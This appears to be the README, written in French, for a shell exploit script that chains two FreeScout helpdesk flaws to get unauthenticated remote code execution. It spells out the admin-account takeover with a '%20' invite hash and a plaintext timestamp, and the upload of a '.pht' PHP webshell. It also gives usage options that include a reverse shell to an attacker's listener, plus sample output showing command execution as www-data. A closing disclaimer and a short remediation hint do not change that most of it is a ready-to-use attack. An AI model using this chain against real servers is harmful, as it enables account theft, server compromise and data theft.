
Script d'exploitation enchaînant CVE-2026-53595 (prise de contrôle de compte anonyme) et CVE-2026-53593 (téléchargement .pht) pour une exécution de code à distance non authentifiée sur le logiciel de bureau d'aide FreeScout.
Exécution de code à distance non authentifiée dans FreeScout ≤ 1.8.223 (un service d'assistance Laravel) en enchaînant deux failles, toutes deux corrigées dans 1.8.224 :
POST /user-setup/{hash}/{invite_sent_at} sélectionne le compte uniquement par sa colonne invite_hash. Un utilisateur activé a invite_hash = '', et sur MySQL/MariaDB, l'égalité VARCHAR ignore les espaces de fin, donc hash = %20 correspond à l'administrateur. La porte d'expiration invite_sent_at déchiffre la valeur avec le mot de passe de l'utilisateur comme clé, mais l'assistant de déchiffrement renvoie l'entrée brute en cas d'échec (catch vide), donc un horodatage unix actuel en texte clair est accepté. Le point de terminaison écrase ensuite l'email et le mot de passe du compte et vous connecte..pht. La liste noire des téléchargements (php.*|sh|pl|phtml|phar) ne couvre pas .pht, qu'Apache mod_php exécute comme du PHP.En les enchaînant, un attaquant non authentifié obtient une exécution de code en tant qu'utilisateur du serveur web (www-data).
GET /user-setup/%20/<unix_ts> pour obtenir un cookie de session + un jeton CSRF.POST la même URL pour écraser l'email/mot de passe de l'administrateur et se connecter (prise de contrôle).POST /uploads/upload un shell.pht (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL URL de base cible (ex. http://10.10.10.10) [obligatoire]
-c, --cmd CMD exécuter une commande unique (défaut : id)
--lhost IP shell inversé : IP de l'attaquant (démarrez nc d'abord)
--lport PORT port du shell inversé (défaut : 4444)
--email ADDR email à définir pour l'administrateur saisi (défaut : [email protected])
--password PASS mot de passe à définir (défaut : Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223 ; 1.8.224+ corrige les deux bugs (302 devient un échec de prise de contrôle)..pht dépend du serveur qui exécute .pht via mod_php — l'environnement "Apache standard + libapache2-mod-php" que le CVE cible.system() s'exécute via /bin/sh (dash sur Debian/Ubuntu), qui ne comprend pas la redirection bash >& /dev/tcp/..., et base64 évite également tous les pièges de citation.! intentionnellement — ! déclenche l'expansion de l'historique dans bash/zsh interactif et altère les commandes collées.VARCHAR pour les jetons de sécurité (collisions d'espaces de fin), et ne traitez jamais un déchiffrement échoué comme une valeur valide — rejetez les jetons vides/invalides.Uniquement à des fins de tests de sécurité autorisés et d'éducation. Ne l'utilisez pas contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive.